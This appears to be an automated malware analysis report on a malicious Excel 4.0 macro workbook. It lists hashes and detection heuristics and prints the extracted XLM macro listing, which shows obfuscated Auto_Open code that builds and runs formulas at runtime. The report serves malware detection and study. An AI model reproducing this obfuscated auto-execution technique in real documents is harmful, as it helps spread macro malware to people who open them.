Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58a3d1f1f155fb9f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:29 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: ead32d05ded870c81fa95815b5187e6d SHA-1: f5dea093162b07e51b32fd39af5bc9f1ea3c0574 SHA-256: 58a3d1f1f155fb9f4c58e81655cb70e3d25d248bcb239cb85c9f2d75c0f5259e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6610 bytes
SHA-256: efec33e8c240cbee767baf3d48098033f35c844b29237f91c89cd281bbdfed83
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dUhtqwruxSC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I139 
' 0018     23 LABEL : Cell Value, String Constant - BWPuNaub len=0 
' 0018     27 LABEL : Cell Value, String Constant - ihdQEoFVihKr len=0 
' 0018     20 LABEL : Cell Value, String Constant - KAoNX len=0 
' 0018     27 LABEL : Cell Value, String Constant - KDRdjnHgEsah len=0 
' 0018     20 LABEL : Cell Value, String Constant - kMjms len=0 
' 0018     25 LABEL : Cell Value, String Constant - LFnMSBcAWL len=0 
' 0018     24 LABEL : Cell Value, String Constant - llSoebaXD len=0 
' 0018     20 LABEL : Cell Value, String Constant - Lmyug len=0 
' 0018     23 LABEL : Cell Value, String Constant - mdxILJDT len=0 
' 0018     20 LABEL : Cell Value, String Constant - MiLTY len=0 
' 0018     23 LABEL : Cell Value, String Constant - mXHbKHfC len=0 
' 0018     21 LABEL : Cell Value, String Constant - NgZOqT len=0 
' 0018     25 LABEL : Cell Value, String Constant - oHjbFXEKok len=0 
' 0018     23 LABEL : Cell Value, String Constant - pDfHebrw len=0 
' 0018     23 LABEL : Cell Value, String Constant - pSCpKXbJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - QoLSkXATu len=0 
' 0018     22 LABEL : Cell Value, String Constant - WBIEnZl len=0 
' 0018     27 LABEL : Cell Value, String Constant - yJTPKATauvPY len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZeqEVF len=0 
' 0018     26 LABEL : Cell Value, String Constant - zihlIzahlZk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dUhtqwruxSC,I48,"SET.NAME("kMjms",VALUE("0"))",""
'  dUhtqwruxSC,I52,"SET.NAME("KAoNX",kMjms)",""
'  dUhtqwruxSC,I57,"SET.NAME("LFnMSBcAWL",kMjms)",""
'  dUhtqwruxSC,I62,"SET.NAME("mdxILJDT",COUNTA(llSoebaXD))",""
'  dUhtqwruxSC,I64,"SET.NAME("oHjbFXEKok",COUNTA(pDfHebrw))",""
'  dUhtqwruxSC,I68,[],""
'  dUhtqwruxSC,I73,"SET.NAME("WBIEnZl","")",""
'  dUhtqwruxSC,I76,"KAoNX",""
'  dUhtqwruxSC,I81,"SET.NAME("ihdQEoFVihKr",HLOOKUP("*",llSoebaXD,KAoNX,FALSE))",""
'  dUhtqwruxSC,I86,"Lmyug",""
'  dUhtqwruxSC,I91,"SET.NAME("NgZOqT",kMjms)",""
'  dUhtqwruxSC,I94,[],""
'  dUhtqwruxSC,I98,"NgZOqT",""
'  dUhtqwruxSC,I101,"MiLTY",""
'  dUhtqwruxSC,I104,"BWPuNaub",""
'  dUhtqwruxSC,I108,"pSCpKXbJ",""
'  dUhtqwruxSC,I112,"SET.NAME("QoLSkXATu",VALUE(HLOOKUP("*",pDfHebrw,pSCpKXbJ,FALSE)))",""
'  dUhtqwruxSC,I114,"KDRdjnHgEsah",""
'  dUhtqwruxSC,I116,"WBIEnZl",""
'  dUhtqwruxSC,I119,"LFnMSBcAWL",""
'  dUhtqwruxSC,I122,NEXT(),""
'  dUhtqwruxSC,I125,"zihlIzahlZk",""
'  dUhtqwruxSC,I127,"SET.NAME("f",INT(T(FORMULA(T(WBIEnZl)&"",""&T(zihlIzahlZk)))))",""
'  dUhtqwruxSC,I129,"yJTPKATauvPY",""
'  dUhtqwruxSC,I132,NEXT(),""
'  dUhtqwruxSC,I135,RETURN(),""
'  dUhtqwruxSC,I162,"SET.NAME("ZeqEVF",I48)",""
'  dUhtqwruxSC,I165,"llSoebaXD",""
'  dUhtqwruxSC,I169,"SET.NAME("pDfHebrw",R89C14)",""
'  dUhtqwruxSC,I171,"SET.NAME("yJTPKATauvPY",179)",""
'  dUhtqwruxSC,I176,"SET.NAME("mXHbKHfC",9)",""
'  dUhtqwruxSC,I178,ZeqEVF(),""
'  dUhtqwruxSC,I179,HALT(),""

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